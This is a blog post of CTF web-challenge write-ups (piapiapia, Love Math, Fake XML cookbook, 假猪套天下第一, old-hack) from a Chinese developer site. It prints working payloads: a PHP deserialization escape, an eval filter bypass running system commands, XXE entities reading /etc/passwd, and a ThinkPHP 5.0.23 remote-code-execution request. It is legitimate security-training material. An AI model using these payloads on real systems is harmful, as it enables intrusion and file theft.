1.30刷题记录

最新推荐文章于 2023-09-22 00:16:44 发布
最新推荐文章于 2023-09-22 00:16:44 发布
阅读量237 收藏
点赞数
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/weixin_51057892/article/details/113427311
版权

[0CTF 2016]piapiapia

看到输入框的以为是sql注入，最后扫一下源码发现www.zip
下载后有几个文件
)]
首先是update.php

<?php
	require_once('class.php');
	if($_SESSION['username'] == null) {
		die('Login First');	
	}
	if($_POST['phone'] && $_POST['email'] && $_POST['nickname'] && $_FILES['photo']) {

		$username = $_SESSION['username'];
		if(!preg_match('/^\d{11}$/', $_POST['phone']))
			die('Invalid phone');

		if(!preg_match('/^[_a-zA-Z0-9]{1,10}@[_a-zA-Z0-9]{1,10}\.[_a-zA-Z0-9]{1,10}$/', $_POST['email']))
			die('Invalid email');
		
		if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)
			die('Invalid nickname');

		$file = $_FILES['photo'];
		if($file['size'] < 5 or $file['size'] > 1000000)
			die('Photo size error');

		move_uploaded_file($file['tmp_name'], 'upload/' . md5($file['name']));
		$profile['phone'] = $_POST['phone'];
		$profile['email'] = $_POST['email'];
		$profile['nickname'] = $_POST['nickname'];
		$profile['photo'] = 'upload/' . md5($file['name']);

		$user->update_profile($username, serialize($profile));
		echo 'Update Profile Success!<a href="profile.php">Your Profile</a>';
	}
	else {
?>

nickname传入一个数组，可以绕过长度的限制
在class.php找到filter函数

public function filter($string) {
		$escape = array('\'', '\\\\');
		$escape = '/' . implode('|', $escape) . '/';
		$string = preg_replace($escape, '_', $string);

		$safe = array('select', 'insert', 'update', 'delete', 'where');
		$safe = '/' . implode('|', $safe) . '/i';
		return preg_replace($safe, 'hacker', $string);
	}

分析update.php:先经过正则表达式将用户提交的参数值过滤，然后序列化，然后将非法的值替换为’hacker’，题目类型属于替换之后导致序列化字符串变长，造成字符逃逸

然后我们再看profile.php

<?php
	require_once('class.php');
	if($_SESSION['username'] == null) {
		die('Login First');	
	}
	$username = $_SESSION['username'];
	$profile=$user->show_profile($username);
	if($profile  == null) {
		header('Location: update.php');
	}
	else {
		$profile = unserialize($profile);
		$phone = $profile['phone'];
		$email = $profile['email'];
		$nickname = $profile['nickname'];
		$photo = base64_encode(file_get_contents($profile['photo']));
?>

有反序列化和文件读取
config.php中有flag，构造包含config.php的数据，利用字符串逃逸，在profile.php中读取出来

<?php
	$config['hostname'] = '127.0.0.1';
	$config['username'] = 'root';
	$config['password'] = '';
	$config['database'] = '';
	$flag = '';
?>

将";}s:5:“photo”;s:10:“config.php”;}插入序列化的字符串里面去，这是34个字符，where替换成hacker后，长度增加一位，所以需要34个where，去profile.php查看读取的内容。

wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}

先注册，登录后随意上传资料，bp抓包
修改nickname为nickname[]
在这里插入图片描述
成功后去profile.php页面查看
在这里插入图片描述
base64解码
在这里插入图片描述

[CISCN 2019 初赛]Love Math

源码如下

<?php
error_reporting(0);
//听说你很喜欢数学，不知道你是否爱它胜过爱flag
if(!isset($_GET['c'])){
    show_source(__FILE__);
}else{
    //例子 c=20-1
    $content = $_GET['c'];
    if (strlen($content) >= 80) {
        die("太长了不会算");
    }
    $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]'];
    foreach ($blacklist as $blackitem) {
        if (preg_match('/' . $blackitem . '/m', $content)) {
            die("请不要输入奇奇怪怪的字符");
        }
    }
    //常用数学函数http://www.w3school.com.cn/php/php_ref_math.asp
    $whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
    preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs);  
    foreach ($used_funcs[0] as $func) {
        if (!in_array($func, $whitelist)) {
            die("请不要输入奇奇怪怪的函数");
        }
    }
    //帮你算出答案
    eval('echo '.$content.';');
}

相关函数

base_convert() 函数：在任意进制之间转换数字。
dechex() 函数：把十进制转换为十六进制。
hex2bin() 函数：把十六进制值的字符串转换为 ASCII 字符。
readfile() 函数：输出一个文件。该函数读入一个文件并写入到输出缓冲。若成功，则返回从文件中读入的字节数。若失败，则返回 false。您可以通过 @readfile() 形式调用该函数，来隐藏错误信息。
语法：readfile(filename,include_path,context)

知识点：php中可以把函数名通过字符串的方式传递给一个变量，然后通过此变量动态调用函数
我们要构造的payload是

?c=$_GET[a]($_GET[b])&a=system&b=tac /flag

变量替换后

?c=($_GET[pi])($_GET[abs])&pi=system&abs=tac /flag

_GET也需要替换

base_convert(37907361743,10,36) => "hex2bin"
dechex(1598506324) => "5f474554"
所以_GET=base_convert(37907361743,10,36)(dechex(1598506324));
($$pi){pi}(($$pi){abs}) => ($_GET){pi}($_GET){abs}  //{}可以代替[]

payload:

$pi=base_convert(37907361743,10,36)(dechex(1598506324));($$pi){pi}(($$pi){abs})&pi=system&abs=tac /flag

在这里插入图片描述

[NCTF2019]Fake XML cookbook

题目提示XML，可知为XML实体注入漏洞，原理参考https://www.freebuf.com/vuls/175451.html
随意输入账号密码后抓包
在这里插入图片描述
这里的username和password都是xml格式，然后增加恶意实体，读取/etc/passwd文件

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE note [
  <!ENTITY admin SYSTEM "file:///etc/passwd">
  ]>
<user><username>&admin;</username><password>123456</password></user>

在这里插入图片描述
有回显，读取flag

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE note [
  <!ENTITY admin SYSTEM "file:///flag">
  ]>
<user><username>&admin;</username><password>123456</password></user>

在这里插入图片描述

[BJDCTF 2nd]假猪套天下第一

在这里插入图片描述
用admin登录看看
在这里插入图片描述
再试试其他用户名
可以正常登录
在这里插入图片描述
抓包看一下
在最后发现php文件
在这里插入图片描述
访问后抓包在这里插入图片描述
显示要在99年后才开放访问，请求头里面有time，修改成一个很大的数字
在这里插入图片描述
提示需从本地访问，使用XFF或者Client-ip
在这里插入图片描述
提示需要来自于gem-love.com，添加Referer
在这里插入图片描述
现在需要使用Commodo 64浏览器，查一下全称是：Commodore 64

修改user-agent
在这里插入图片描述
需要我们的邮箱是：root@gem-love.com，添加From
在这里插入图片描述
最后代理服务器地址需要是y1ng.vip，添加via
在这里插入图片描述
base64解码即可
在这里插入图片描述

[BJDCTF 2nd]old-hack

首页提示hinkphp5的漏洞。
在这里插入图片描述
传入一个s=1报错查看一下信息
在这里插入图片描述
版本为5.0.23，此版本有漏洞
在这里插入图片描述
https://xz.aliyun.com/t/3845
构造payload，post提交

_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=ls ../../../../

在这里插入图片描述
读取flag

_method=__construct&filter[]=system&server[REQUEST_METHOD]=cat /flag

在这里插入图片描述

conelly
关注
  • 0
    点赞
  • 踩
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
[CISCN2019 初赛]Love Math
qq_42551635的博客
05-07 405
[CISCN2019 初赛]Love Math 前言 一道非常有意思的，逻辑比较简单的代码审计 知识点 base_convert()函数 in_array()函数 in_array(值，数组) 函数搜索数组中是否存在指定的值。 实例 <?php $people = array("Peter", "Joe", "Glenn", "Cleveland", 23); if (in_array("23", $people, TRUE)) { echo "Match found<br&
刷题记录（1）
m0_46880422的博客
08-04 84
2.给定一个数组prices，他的第i各元素prices[i]表示一支给定股票第i天的价格。只能选择某一天买入这只股票，并选择在未来某一天不同的日子卖出股票。设计一个诉法来计算你所能获得的最大利润并返回，如果不能获利返回0.1.一个包含n个数组nums，判断nums是否存在三个元素a，b，c，使得a+b+c=0？请找出所有和为0且不重复的三元组。3.一个机器人位于m*n的网格的左上角，机器人没出只能向下或者向右走一步，请问机器人到达右下角总共有多少条不同路径。...
【BUUCTF】[CISCN 2019 初赛]Love Math
aoao331198的博客
05-05 424
源码 <?php error_reporting(0); //听说你很喜欢数学，不知道你是否爱它胜过爱flag if(!isset($_GET['c'])){ show_source(__FILE__); }else{ //例子 c=20-1 $content = $_GET['c']; if (strlen($content) >= 80) { die("太长了不会算"); } $blacklist = [' ', '\t', '
[CISCN 2019初赛]Love Math
rev1ve的博客
09-01 1602
简单分析一下，只有一个GET传参参数是c，然后对上传的值进行黑名单检测，接着给了白名单以及常用的数学函数。这个提示很明显了，需要我们用函数进行转换成我们的执行命令。这里最后一个点，就是我们传递的参数值为两个(即一个是函数名 一个是参数)，该如何绕过呢。这样的出来，但是这里对我们c的值进行了超多过滤，这里用的是构造出类似。呢，其实目的很明显，因为c的值不能有字母，而我们要想利用。解决方法是用php7的特性，就是可以用变量执行函数。关键点利用php动态函数的特性，比如我们可以构造。，这里需要用到的两个函数是。
[CISCN 2019 初赛]Love Math
shawdow_bug的博客
06-17 919
能得到任意字符串的无字符串实参payload
刷题记录（一）
景兄弟的博客
06-23 596
大家都知道手机上的字母：1--1，abc--2,def--3,ghi--4,jkl--5,mno--6,pqrs--7,tuv--8wxyz--9,0--0,就这么简单，渊子把密码中出现的小写字母都变成对应的数字，数字和其他的符号都不做变换， 声明：密码中没有空格，而密码中出现的大写字母则变成小写之后往后移一位，如：X，先变成小写，再往后移一位，不就是y了嘛，简单吧。记住，z...
Shader Forge v1.30
12-23
最新版 Shader Forge v1.30 保证质量 良心资源
VB上位机Ver.1.30
05-24
VB上位机Ver.1.30VB上位机Ver.1.30VB上位机Ver.1.30VB上位机Ver.1.30VB上位机Ver.1.30VB上位机Ver.1.30VB上位机Ver.1.30VB上位机Ver.1.30VB上位机Ver.1.30VB上位机Ver.1.30VB上位机Ver.1.30VB上位机Ver.1.30VB上位机...
FSF v1.30 超级论坛
10-13
【FSF v1.30 超级论坛】是一个基于网络的互动平台，专为IT专业人士和爱好者设计，提供了一个集技术交流、资源分享、问题解答于一体的在线社区。FSF，全称可能是“Free Software Foundation”（自由软件基金会）的...
MyTopix v1.30 简体中文版.zip
06-18
MyTopix v1.30 是一个专门为中文用户设计的信息聚合软件，它的简体中文版使得国内用户可以更方便地浏览、管理和定制自己的新闻与兴趣话题。这个版本的发布，旨在提供一个用户友好的界面和高效的信息获取工具，帮助...
Copy Artifact Plugin 1.30
06-04
Copy Artifact Plugin 1.30 hpi
buuctf-[CISCN 2019 初赛]Love Math（小宇特详解）
小宇的web博客
02-26 2907
buuctf-[CISCN 2019 初赛]Love Math（小宇特详解） 1.先看题目 <?php error_reporting(0); //听说你很喜欢数学，不知道你是否爱它胜过爱flag if(!isset($_GET['c'])){ show_source(__FILE__); }else{ //例子 c=20-1 $content = $_GET['c']; if (strlen($content) >= 80) { die("太长了
[CISCN 2019 初赛]Love Math 通过进制转换执行命令
m0_64180167的博客
09-22 211
这道题也是很有意思！通过规定白名单和黑名单 指定了 函数为数学函数 并且参数也只能是规定在白名单中的参数我们首先要了解 通过进制转换执行命令的第一时间就是想到 hex2bin/bin2hex。
前端分析-202307110072
最新发布
08-22
前端分析-202307110072
concave collider 1.30
09-08
Concave Collider 1.30是Unity3D游戏引擎中的碰撞器组件版本。碰撞器是游戏中用来检测物体之间碰撞的组件，用于模拟物理交互和碰撞反应。 Concave Collider指的是具有凹面功能的碰撞器。通常，Unity中的碰撞器都是...
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值